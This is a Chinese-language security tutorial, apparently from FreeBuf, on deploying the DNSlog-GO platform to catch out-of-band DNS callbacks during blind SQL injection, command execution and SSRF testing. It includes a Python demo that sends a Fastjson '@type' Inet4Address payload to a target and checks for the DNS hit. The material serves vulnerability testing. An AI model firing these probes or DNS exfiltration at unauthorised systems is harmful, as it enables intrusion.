DNSlog平台搭建教程
DNS log简介
在某些情况下,无法利用漏洞获得回显。但是,如果目标可以发送DNS请求,则可以通过DNS log方式将想获得的数据外带出来(oob)。
DNS log常用于以下情况:
SQL盲注
无回显的命令执行
无回显的SSRF
搭建DNS log平台
前期准备
一台VP*S:
1.1.1.1
两个域名:
a.com
b.com
在b.com
中添加两个A记录:
修改a.com
的NS记录为:
项目部署
参考开源项目DNSlog-GO:
DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具,自带多用户WEB界面
安装
详细图文教程:https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg
个人单独使用推荐使用1.4版本 https://github.com/lanyi1998/DNSlog-GO/releases/tag/1.4
团队使用推荐使用 最新版
1.获取发行版
这里 https://github.com/lanyi1998/DNSlog-GO/releases下载最新发行版,并解压
2.域名与公网 IP 准备
搭建并使用 DNSLog,你需要拥有一个域名如(a.com),还需要有一个公网 IP 地址(如:1.1.1.1)
修改 a.com 的 NS 记录为
NS1.vp*sip.NIP.IO
NS2.vp*sip.NIP.IO
如
ns1.1.1.1.1.nip.io
ns1.1.1.1.1.nip.io
本步骤中,需要在域名提供商提供的页面进行设置,部分域名提供商只允许修改 NS 记录为已经认证过的 NS 地址。所以需要找一个支持修改 NS 记录为自己 NS 的域名提供商。
注意: NS 记录修改之后部分地区需要 24-48 小时会生效
3.VP*S防火墙放行53端口、80端口,修改配置文件config.ini
:
[HTTP]
Port = 8080 //http web监听端口
Token = admin1,admin2 //多个用户token,用,分割。可以团队成员一起使用了
ConsoleDisable = false //是否关闭web页面
[DNS]
Domain = demo.com //dnslog的域名
4.启动对应系统的客户端,注意服务端重启以后,必须清空一下浏览器中的localStorage,否则会获取不到数据
API Python Demo
import requests
import random
import json
class DnsLog():
domain = ""
token = ""
Webserver = ""
def __init__(self, Webserver, token):
self.Webserver = Webserver # dnslog的http监听地址,格式为 ip:端口
self.token = token # token
# 检测DNSLog服务器是否正常
try:
res = requests.post("http://" + Webserver + "/api/verifyToken", json={"token": token}).json()
self.domain = res.Msg
except:
exit("DnsLog 服务器连接失败")
if res["Msg"] == "false":
exit("DnsLog token 验证失败")
# 生成随机子域名
def randomSubDomain(self, length=5):
subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
return subDomain
# 验证子域名是否存在
def checkDomain(self, domain):
res = requests.post("http://" + self.Webserver + "/api/verifyDns", json={"Query": domain},
headers={"token": self.token}).json()
if res["Msg"] == "false":
return False
else:
return True
url = "http://192.168.41.2:8090/"
dns = DnsLog("1111:8888", "admin")
subDomain = dns.randomSubDomain()
payload = {
"b": {
"@type": "java.net.Inet4Address",
"val": subDomain
}
}
requests.post(url, json=payload)
if dns.checkDomain(subDomain):
print("存在FastJosn")
运行main
文件:
./main
使用测试
DNSlog-GO下载地址
DNSlog-GO-linux.zip2.03 MB
DNSlog-GO-mac.zip2.1 MB
DNSlog-GO-Windows.zip2.03 MB
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录